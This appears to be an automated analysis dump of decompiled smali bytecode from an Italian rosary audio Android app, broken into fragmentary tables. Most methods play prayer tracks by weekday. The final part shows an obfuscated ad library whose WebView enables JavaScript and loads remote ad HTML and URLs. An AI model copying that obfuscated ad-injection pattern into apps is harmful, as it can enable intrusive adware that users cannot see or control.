197 | iget-object v1, p0, Lprsolutions/rosariofacileads/Player;->mSfondo:Landroid/widget/LinearLayout; | |
198 | const v2, 0x7f020007 | |
200 | invoke-virtual {v1, v2}, Landroid/widget/LinearLayout;->setBackgroundResource(I)V |
|
201 | goto/16 :goto_9 | |
202 | sswitch_14f: const v1, 0x7f040005 | |
204 | invoke-static {p0, v1}, Landroid/media/MediaPlayer;->create(Landroid/content/Context;I)Landroid/media/MediaPlayer; |
|
205 | move-result-object v1 | |
206 | iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer; | |
208 | iget-object v1, p0, Lprsolutions/rosariofacileads/Player;->mSfondo:Landroid/widget/LinearLayout; | |
209 | const v2, 0x7f020002 | |
211 | invoke-virtual {v1, v2}, Landroid/widget/LinearLayout;->setBackgroundResource(I)V |
|
212 | goto/16 :goto_9 | |
213 | sswitch_162: const v1, 0x7f04000f | |
215 | invoke-static {p0, v1}, Landroid/media/MediaPlayer;->create(Landroid/content/Context;I)Landroid/media/MediaPlayer; |
|
216 | move-result-object v1 | |
217 | iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer; | |
219 | iget-object v1, p0, Lprsolutions/rosariofacileads/Player;->mSfondo:Landroid/widget/LinearLayout; | |
220 | const v2, 0x7f02000c | |
222 | invoke-virtual {v1, v2}, Landroid/widget/LinearLayout;->setBackgroundResource(I)V |
|
223 | goto/16 :goto_9 | |
224 | pswitch_175: iget v1, p0, Lprsolutions/rosariofacileads/Player;->giornata:I | |
225 | sparse-switch v1, :sswitch_data_272 | |
226 | goto/16 :goto_9 | |
227 | sswitch_17c: const v1, 0x7f040015 | |
229 | invoke-static {p0, v1}, Landroid/media/MediaPlayer;->create(Landroid/content/Context;I)Landroid/media/MediaPlayer; |
|
230 | move-result-object v1 | |
231 | iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer; | |
233 | iget-object v1, p0, Lprsolutions/rosariofacileads/Player;->mSfondo:Landroid/widget/LinearLayout; | |
234 | const v2, 0x7f020013 | |
236 | invoke-virtual {v1, v2}, Landroid/widget/LinearLayout;->setBackgroundResource(I)V |
|
237 | goto/16 :goto_9 | |
238 | sswitch_18f: const v1, 0x7f04000b | |
240 | invoke-static {p0, v1}, Landroid/media/MediaPlayer;->create(Landroid/content/Context;I)Landroid/media/MediaPlayer; |
|
241 | move-result-object v1 | |
242 | iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer; | |
244 | iget-object v1, p0, Lprsolutions/rosariofacileads/Player;->mSfondo:Landroid/widget/LinearLayout; | |
245 | const v2, 0x7f020008 | |
247 | invoke-virtual {v1, v2}, Landroid/widget/LinearLayout;->setBackgroundResource(I)V |
|
248 | goto/16 :goto_9 | |
249 | sswitch_1a2: const v1, 0x7f040006 | |
251 | invoke-static {p0, v1}, Landroid/media/MediaPlayer;->create(Landroid/content/Context;I)Landroid/media/MediaPlayer; |
|
252 | move-result-object v1 | |
253 | iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer; | |
255 | iget-object v1, p0, Lprsolutions/rosariofacileads/Player;->mSfondo:Landroid/widget/LinearLayout; | |
256 | const v2, 0x7f020003 | |
258 | invoke-virtual {v1, v2}, Landroid/widget/LinearLayout;->setBackgroundResource(I)V |
|
259 | goto/16 :goto_9 | |
260 | sswitch_1b5: const v1, 0x7f040010 | |
262 | invoke-static {p0, v1}, Landroid/media/MediaPlayer;->create(Landroid/content/Context;I)Landroid/media/MediaPlayer; |
|
263 | move-result-object v1 | |
264 | iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer; | |
266 | iget-object v1, p0, Lprsolutions/rosariofacileads/Player;->mSfondo:Landroid/widget/LinearLayout; | |
267 | const v2, 0x7f02000d | |
269 | invoke-virtual {v1, v2}, Landroid/widget/LinearLayout;->setBackgroundResource(I)V |
|
270 | goto/16 :goto_9 | |
271 | pswitch_1c8: iget v1, p0, Lprsolutions/rosariofacileads/Player;->giornata:I | |
272 | sparse-switch v1, :sswitch_data_284 | |
273 | goto/16 :goto_9 | |
274 | sswitch_1cf: const v1, 0x7f040016 | |
276 | invoke-static {p0, v1}, Landroid/media/MediaPlayer;->create(Landroid/content/Context;I)Landroid/media/MediaPlayer; |
|
277 | move-result-object v1 | |
278 | iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer; | |
280 | iget-object v1, p0, Lprsolutions/rosariofacileads/Player;->mSfondo:Landroid/widget/LinearLayout; | |
281 | const v2, 0x7f020014 | |
283 | invoke-virtual {v1, v2}, Landroid/widget/LinearLayout;->setBackgroundResource(I)V |
|
284 | goto/16 :goto_9 | |
285 | sswitch_1e2: const v1, 0x7f04000c | |
287 | invoke-static {p0, v1}, Landroid/media/MediaPlayer;->create(Landroid/content/Context;I)Landroid/media/MediaPlayer; |
|
288 | move-result-object v1 | |
289 | iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer; | |
291 | iget-object v1, p0, Lprsolutions/rosariofacileads/Player;->mSfondo:Landroid/widget/LinearLayout; | |
292 | const v2, 0x7f020009 | |
294 | invoke-virtual {v1, v2}, Landroid/widget/LinearLayout;->setBackgroundResource(I)V |
|
295 | goto/16 :goto_9 | |
296 | sswitch_1f5: const v1, 0x7f040007 | |
298 | invoke-static {p0, v1}, Landroid/media/MediaPlayer;->create(Landroid/content/Context;I)Landroid/media/MediaPlayer; |
|
299 | move-result-object v1 | |
300 | iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer; | |
302 | iget-object v1, p0, Lprsolutions/rosariofacileads/Player;->mSfondo:Landroid/widget/LinearLayout; | |
303 | const v2, 0x7f020004 | |
305 | invoke-virtual {v1, v2}, Landroid/widget/LinearLayout;->setBackgroundResource(I)V |
|
306 | goto/16 :goto_9 | |
307 | sswitch_208: const v1, 0x7f040011 | |
309 | invoke-static {p0, v1}, Landroid/media/MediaPlayer;->create(Landroid/content/Context;I)Landroid/media/MediaPlayer; |
|
310 | move-result-object v1 | |
311 | iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer; | |
313 | iget-object v1, p0, Lprsolutions/rosariofacileads/Player;->mSfondo:Landroid/widget/LinearLayout; | |
314 | const v2, 0x7f02000e | |
316 | invoke-virtual {v1, v2}, Landroid/widget/LinearLayout;->setBackgroundResource(I)V |
|
317 | try_end_219: goto/16 :goto_9 | |
318 | nop |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "ora" # I | |
1 | .prologue | |
2 | const v8, 0x7f050008 | |
3 | const v7, 0x7f050005 | |
4 | const/16 v6, 0x191 | |
5 | const/16 v5, 0x12d | |
6 | const/16 v4, 0xc9 | |
8 | const-string v1, "" | |
10 | const-string v2, "" | |
11 | if-nez p1, :cond_1c | |
12 | new-instance v0, Ljava/util/GregorianCalendar; | |
14 | invoke-direct {v0}, Ljava/util/GregorianCalendar;-><init>()V | |
15 | const/4 v3, 0x7 | |
17 | invoke-virtual {v0, v3}, Ljava/util/Calendar;->get(I)I |
|
18 | move-result p1 | |
19 | cond_1c: packed-switch p1, :pswitch_data_ac | |
20 | goto_1f: new-instance v3, Ljava/lang/StringBuilder; | |
22 | invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V | |
24 | const-string v4, "Oggi \u00e8 " | |
26 | invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
27 | move-result-object v3 | |
29 | invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
30 | move-result-object v3 | |
32 | const-string v4, ". Recitiamo i Misteri " | |
34 | invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
35 | move-result-object v3 | |
37 | invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
38 | move-result-object v3 | |
40 | invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
41 | move-result-object v2 | |
42 | return-object v2 | |
43 | pswitch_3d: const v3, 0x7f050006 | |
45 | invoke-virtual {p0, v3}, Lprsolutions/rosariofacileads/Player;->getString(I)Ljava/lang/String; |
|
46 | move-result-object v2 | |
47 | const v3, 0x7f05000a | |
49 | invoke-virtual {p0, v3}, Lprsolutions/rosariofacileads/Player;->getString(I)Ljava/lang/String; |
|
50 | move-result-object v1 | |
51 | iput v5, p0, Lprsolutions/rosariofacileads/Player;->giornata:I | |
52 | goto/16 :goto_1f | |
53 | pswitch_4e: const v3, 0x7f05000d | |
55 | invoke-virtual {p0, v3}, Lprsolutions/rosariofacileads/Player;->getString(I)Ljava/lang/String; |
|
56 | move-result-object v2 | |
58 | invoke-virtual {p0, v8}, Lprsolutions/rosariofacileads/Player;->getString(I)Ljava/lang/String; |
|
59 | move-result-object v1 | |
60 | iput v4, p0, Lprsolutions/rosariofacileads/Player;->giornata:I | |
61 | goto/16 :goto_1f | |
62 | pswitch_5c: const v3, 0x7f05000e | |
64 | invoke-virtual {p0, v3}, Lprsolutions/rosariofacileads/Player;->getString(I)Ljava/lang/String; |
|
65 | move-result-object v2 | |
67 | invoke-virtual {p0, v7}, Lprsolutions/rosariofacileads/Player;->getString(I)Ljava/lang/String; |
|
68 | move-result-object v1 | |
69 | iput v6, p0, Lprsolutions/rosariofacileads/Player;->giornata:I | |
70 | goto/16 :goto_1f | |
71 | pswitch_6a: const v3, 0x7f05000f | |
73 | invoke-virtual {p0, v3}, Lprsolutions/rosariofacileads/Player;->getString(I)Ljava/lang/String; |
|
74 | move-result-object v2 | |
75 | const v3, 0x7f05000a | |
77 | invoke-virtual {p0, v3}, Lprsolutions/rosariofacileads/Player;->getString(I)Ljava/lang/String; |
|
78 | move-result-object v1 | |
79 | iput v5, p0, Lprsolutions/rosariofacileads/Player;->giornata:I | |
80 | goto/16 :goto_1f | |
81 | pswitch_7b: const v3, 0x7f050009 | |
83 | invoke-virtual {p0, v3}, Lprsolutions/rosariofacileads/Player;->getString(I)Ljava/lang/String; |
|
84 | move-result-object v2 | |
85 | const v3, 0x7f05000c | |
87 | invoke-virtual {p0, v3}, Lprsolutions/rosariofacileads/Player;->getString(I)Ljava/lang/String; |
|
88 | move-result-object v1 | |
89 | const/16 v3, 0x65 | |
90 | iput v3, p0, Lprsolutions/rosariofacileads/Player;->giornata:I | |
91 | goto/16 :goto_1f | |
92 | pswitch_8e: const v3, 0x7f050020 | |
94 | invoke-virtual {p0, v3}, Lprsolutions/rosariofacileads/Player;->getString(I)Ljava/lang/String; |
|
95 | move-result-object v2 | |
97 | invoke-virtual {p0, v7}, Lprsolutions/rosariofacileads/Player;->getString(I)Ljava/lang/String; |
|
98 | move-result-object v1 | |
99 | iput v6, p0, Lprsolutions/rosariofacileads/Player;->giornata:I | |
100 | goto/16 :goto_1f | |
101 | pswitch_9c: const v3, 0x7f050018 | |
103 | invoke-virtual {p0, v3}, Lprsolutions/rosariofacileads/Player;->getString(I)Ljava/lang/String; |
|
104 | move-result-object v2 | |
106 | invoke-virtual {p0, v8}, Lprsolutions/rosariofacileads/Player;->getString(I)Ljava/lang/String; |
|
107 | move-result-object v1 | |
108 | iput v4, p0, Lprsolutions/rosariofacileads/Player;->giornata:I | |
109 | goto/16 :goto_1f | |
110 | nop |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "icicle" # Landroid/os/Bundle; | |
1 | .prologue | |
3 | invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V | |
5 | invoke-virtual {p0}, Lprsolutions/rosariofacileads/Player;->getIntent()Landroid/content/Intent; | |
6 | move-result-object v1 | |
8 | invoke-virtual {v1}, Landroid/content/Intent;->getExtras()Landroid/os/Bundle; |
|
9 | move-result-object v0 | |
11 | const-string v1, "Mistero" | |
13 | invoke-virtual {v0, v1}, Landroid/os/Bundle;->getInt(Ljava/lang/String;)I |
|
14 | move-result v1 | |
15 | iput v1, p0, Lprsolutions/rosariofacileads/Player;->Mistero:I | |
17 | invoke-virtual {p0}, Lprsolutions/rosariofacileads/Player;->SettaggioIniziale()V | |
19 | iget-object v1, p0, Lprsolutions/rosariofacileads/Player;->sequenza:[I | |
20 | iget v2, p0, Lprsolutions/rosariofacileads/Player;->playingNow:I | |
21 | aget v1, v1, v2 | |
23 | invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer; | |
24 | move-result-object v1 | |
26 | invoke-direct {p0, v1}, Lprsolutions/rosariofacileads/Player;->playAudio(Ljava/lang/Integer;)V | |
27 | return-void |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "v" # Landroid/view/View; | |
1 | .prologue | |
2 | new-instance v0, Landroid/content/Intent; | |
4 | iget-object v1, p0, Lprsolutions/rosariofacileads/RosarioFacile$2;->this$0:Lprsolutions/rosariofacileads/RosarioFacile; | |
6 | invoke-virtual {v1}, Lprsolutions/rosariofacileads/RosarioFacile;->getApplication()Landroid/app/Application; | |
7 | move-result-object v1 | |
8 | const-class v2, Lprsolutions/rosariofacileads/Player; | |
10 | invoke-direct {v0, v1, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V | |
12 | const-string v1, "Mistero" | |
13 | const/4 v2, 0x0 | |
15 | invoke-virtual {v0, v1, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;I)Landroid/content/Intent; |
|
17 | iget-object v1, p0, Lprsolutions/rosariofacileads/RosarioFacile$2;->this$0:Lprsolutions/rosariofacileads/RosarioFacile; | |
19 | invoke-virtual {v1, v0}, Lprsolutions/rosariofacileads/RosarioFacile;->startActivity(Landroid/content/Intent;)V |
|
20 | return-void |
360 Non-Executed Methods |
---|
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "context" # Landroid/content/Context; | |
1 | .param p2, "newWidth" # I | |
2 | .param p3, "newHeight" # I | |
3 | .param p4, "loadingListener" # Landroid/os/Handler; | |
4 | .param p5, "ad" # Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd; | |
5 | .param p6, "animationListener" # Lcom/vxjxu/jkhfn1870/AdView$AnimationDrawListener; | |
6 | .param p7, "isTestMode" # Z | |
7 | .param p8, "adView" # Lcom/vxjxu/jkhfn1870/AdView; | |
8 | .annotation build Landroid/annotation/SuppressLint; | |
9 | value = { | |
10 | "SetJavaScriptEnabled" | |
11 | } | |
12 | .end annotation | |
13 | .prologue | |
15 | invoke-direct {p0, p1}, Landroid/webkit/WebView;-><init>(Landroid/content/Context;)V | |
17 | const-string v1, "AirplayMraid" | |
18 | iput-object v1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->TAG:Ljava/lang/String; | |
19 | try_start_7: move/from16 v0, p7 | |
20 | iput-boolean v0, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->isTestMode:Z | |
21 | move-object/from16 v0, p6 | |
22 | iput-object v0, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->animationDrawListener:Lcom/vxjxu/jkhfn1870/AdView$AnimationDrawListener; | |
23 | move-object/from16 v0, p8 | |
24 | iput-object v0, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->adView:Lcom/vxjxu/jkhfn1870/AdView; | |
25 | move-object/from16 v0, p5 | |
26 | iput-object v0, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd; | |
27 | const/4 v1, 0x0 | |
29 | invoke-virtual {p0, v1}, Lcom/vxjxu/jkhfn1870/ImageBanner;->setVerticalScrollBarEnabled(Z)V |
|
30 | const/4 v1, 0x0 | |
32 | invoke-virtual {p0, v1}, Lcom/vxjxu/jkhfn1870/ImageBanner;->setHorizontalScrollBarEnabled(Z)V |
|
33 | const/high16 v1, 0x2000000 | |
35 | invoke-virtual {p0, v1}, Lcom/vxjxu/jkhfn1870/ImageBanner;->setScrollBarStyle(I)V |
|
37 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/ImageBanner;->getSettings()Landroid/webkit/WebSettings; | |
38 | move-result-object v1 | |
39 | const/4 v2, 0x1 | |
41 | invoke-virtual {v1, v2}, Landroid/webkit/WebSettings;->setJavaScriptEnabled(Z)V |
|
43 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/ImageBanner;->plugin()V | |
44 | const/4 v1, 0x0 | |
46 | invoke-virtual {p0, v1}, Lcom/vxjxu/jkhfn1870/ImageBanner;->setBackgroundColor(I)V |
|
47 | new-instance v12, Lcom/vxjxu/jkhfn1870/ImageBanner$1; | |
48 | move-object/from16 v0, p4 | |
50 | invoke-direct {v12, p0, p1, v0}, Lcom/vxjxu/jkhfn1870/ImageBanner$1;-><init>(Lcom/vxjxu/jkhfn1870/ImageBanner;Landroid/content/Context;Landroid/os/Handler;)V | |
52 | invoke-virtual {p0, v12}, Lcom/vxjxu/jkhfn1870/ImageBanner;->setWebViewClient(Landroid/webkit/WebViewClient;)V | |
53 | sget v1, Landroid/os/Build$VERSION;->SDK_INT:I | |
54 | try_end_3f: const/16 v2, 0xb | |
55 | if-lt v1, v2, :cond_6c | |
56 | try_start_43: | |
57 | invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class; | |
58 | move-result-object v1 | |
60 | const-string v2, "setLayerType" | |
61 | const/4 v3, 0x2 | |
62 | new-array v3, v3, [Ljava/lang/Class; | |
63 | const/4 v4, 0x0 | |
65 | sget-object v5, Ljava/lang/Integer;->TYPE:Ljava/lang/Class; | |
66 | aput-object v5, v3, v4 | |
67 | const/4 v4, 0x1 | |
68 | const-class v5, Landroid/graphics/Paint; | |
69 | aput-object v5, v3, v4 | |
71 | invoke-virtual {v1, v2, v3}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method; |
|
72 | move-result-object v11 | |
73 | const/4 v1, 0x2 | |
74 | new-array v1, v1, [Ljava/lang/Object; | |
75 | const/4 v2, 0x0 | |
76 | const/4 v3, 0x1 | |
78 | invoke-static {v3}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer; |
|
79 | move-result-object v3 | |
80 | aput-object v3, v1, v2 | |
81 | const/4 v2, 0x1 | |
82 | const/4 v3, 0x0 | |
83 | aput-object v3, v1, v2 | |
85 | invoke-virtual {v11, p0, v1}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object; | |
86 | try_start_6c: new-instance v10, Landroid/widget/FrameLayout$LayoutParams; | |
88 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->adView:Lcom/vxjxu/jkhfn1870/AdView; | |
90 | invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/AdView;->getadWidth()I | |
91 | move-result v1 | |
93 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->adView:Lcom/vxjxu/jkhfn1870/AdView; | |
95 | invoke-virtual {v2}, Lcom/vxjxu/jkhfn1870/AdView;->getadHeight()I | |
96 | move-result v2 | |
98 | invoke-direct {v10, v1, v2}, Landroid/widget/FrameLayout$LayoutParams;-><init>(II)V | |
100 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd; | |
102 | invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isInlineScript()Z | |
103 | move-result v1 | |
104 | if-eqz v1, :cond_b7 | |
106 | invoke-virtual {p0, v10}, Lcom/vxjxu/jkhfn1870/ImageBanner;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V | |
107 | const/4 v2, 0x0 | |
109 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd; | |
111 | invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->getTag()Ljava/lang/String; | |
112 | move-result-object v3 | |
114 | const-string v4, "text/html" | |
116 | const-string v5, "UTF-8" | |
117 | const/4 v6, 0x0 | |
118 | move-object v1, p0 | |
120 | invoke-virtual/range {v1 .. v6}, Lcom/vxjxu/jkhfn1870/ImageBanner;->loadDataWithBaseURL(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V |
|
121 | goto_98: return-void | |
122 | catch_99: move-exception v9 | |
124 | invoke-virtual {v9}, Ljava/lang/IllegalArgumentException;->printStackTrace()V | |
125 | try_end_9d: goto/16 :goto_6c | |
126 | catch_9e: move-exception v9 | |
128 | invoke-virtual {v9}, Ljava/lang/Exception;->printStackTrace()V | |
130 | const-string v1, "89" | |
132 | invoke-virtual {p0, v1}, Lcom/vxjxu/jkhfn1870/ImageBanner;->sendImpression(Ljava/lang/String;)V |
|
133 | goto/16 :goto_98 | |
134 | catch_a8: move-exception v9 | |
135 | try_start_a9: | |
136 | invoke-virtual {v9}, Ljava/lang/IllegalAccessException;->printStackTrace()V | |
137 | goto/16 :goto_6c | |
138 | catch_ad: move-exception v9 | |
140 | invoke-virtual {v9}, Ljava/lang/reflect/InvocationTargetException;->printStackTrace()V | |
141 | goto/16 :goto_6c | |
142 | catch_b2: move-exception v9 | |
144 | invoke-virtual {v9}, Ljava/lang/Exception;->printStackTrace()V | |
145 | goto/16 :goto_6c | |
146 | cond_b7: | |
147 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd; | |
149 | invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isPlainUrl()Z | |
150 | move-result v1 | |
151 | if-eqz v1, :cond_ea | |
153 | invoke-virtual {p0, v10}, Lcom/vxjxu/jkhfn1870/ImageBanner;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V | |
155 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd; | |
157 | invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->getTag()Ljava/lang/String; | |
158 | move-result-object v1 | |
159 | if-eqz v1, :cond_e2 | |
161 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd; | |
163 | invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->getTag()Ljava/lang/String; | |
164 | move-result-object v1 | |
166 | const-string v2, "" | |
168 | invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
169 | move-result v1 | |
170 | if-nez v1, :cond_e2 | |
172 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd; | |
174 | invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->getTag()Ljava/lang/String; | |
175 | move-result-object v1 | |
177 | invoke-virtual {p0, v1}, Lcom/vxjxu/jkhfn1870/ImageBanner;->loadUrl(Ljava/lang/String;)V | |
178 | goto/16 :goto_98 | |
179 | cond_e2: | |
180 | const-string v1, "AirplayMraid" | |
182 | const-string v2, "Url is null" | |
184 | invoke-static {v1, v2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
185 | goto/16 :goto_98 | |
186 | cond_ea: | |
187 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd; | |
189 | invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isJsAd()Z | |
190 | move-result v1 | |
191 | if-eqz v1, :cond_148 | |
193 | invoke-virtual {p0, v10}, Lcom/vxjxu/jkhfn1870/ImageBanner;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V | |
194 | new-instance v8, Ljava/lang/StringBuilder; | |
196 | invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V | |
197 | new-instance v1, Ljava/lang/StringBuilder; | |
199 | invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V | |
201 | const-string v2, "<html><head>" | |
203 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
204 | move-result-object v1 | |
206 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd; | |
208 | invoke-virtual {v2}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->getTag()Ljava/lang/String; | |
209 | move-result-object v2 | |
211 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
212 | move-result-object v1 | |
214 | const-string v2, "<style>* {margin:0;padding:0; width: " | |
216 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
217 | move-result-object v1 | |
219 | invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; | |
220 | move-result-object v1 | |
222 | const-string v2, "; height: " | |
224 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
225 | move-result-object v1 | |
226 | move/from16 v0, p3 | |
228 | invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; | |
229 | move-result-object v1 | |
231 | const-string v2, ";}</style></head><body>" | |
233 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
234 | move-result-object v1 | |
236 | invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
237 | move-result-object v1 | |
239 | invoke-virtual {v8, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
240 | move-result-object v1 | |
242 | const-string v2, "</body></html>" | |
244 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
245 | const/4 v2, 0x0 | |
247 | invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
248 | move-result-object v3 | |
250 | const-string v4, "text/html" | |
252 | const-string v5, "UTF-8" | |
253 | const/4 v6, 0x0 | |
254 | move-object v1, p0 | |
256 | invoke-virtual/range {v1 .. v6}, Lcom/vxjxu/jkhfn1870/ImageBanner;->loadDataWithBaseURL(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V |
|
257 | goto/16 :goto_98 | |
258 | cond_148: | |
259 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd; | |
261 | invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isHtmlAd()Z | |
262 | move-result v1 | |
263 | if-eqz v1, :cond_1a0 | |
265 | invoke-virtual {p0, v10}, Lcom/vxjxu/jkhfn1870/ImageBanner;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V | |
266 | new-instance v8, Ljava/lang/StringBuilder; | |
268 | invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V | |
269 | new-instance v1, Ljava/lang/StringBuilder; | |
271 | invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V | |
273 | const-string v2, "<html><head><style>* {margin:0;padding:0; width: " | |
275 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
276 | move-result-object v1 | |
278 | invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; | |
279 | move-result-object v1 | |
281 | const-string v2, "; height: " | |
283 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
284 | move-result-object v1 | |
285 | move/from16 v0, p3 | |
287 | invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; | |
288 | move-result-object v1 | |
290 | const-string v2, ";}</style></head><body>" | |
292 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
293 | move-result-object v1 | |
295 | invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
296 | move-result-object v1 | |
298 | invoke-virtual {v8, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
299 | move-result-object v1 | |
301 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd; | |
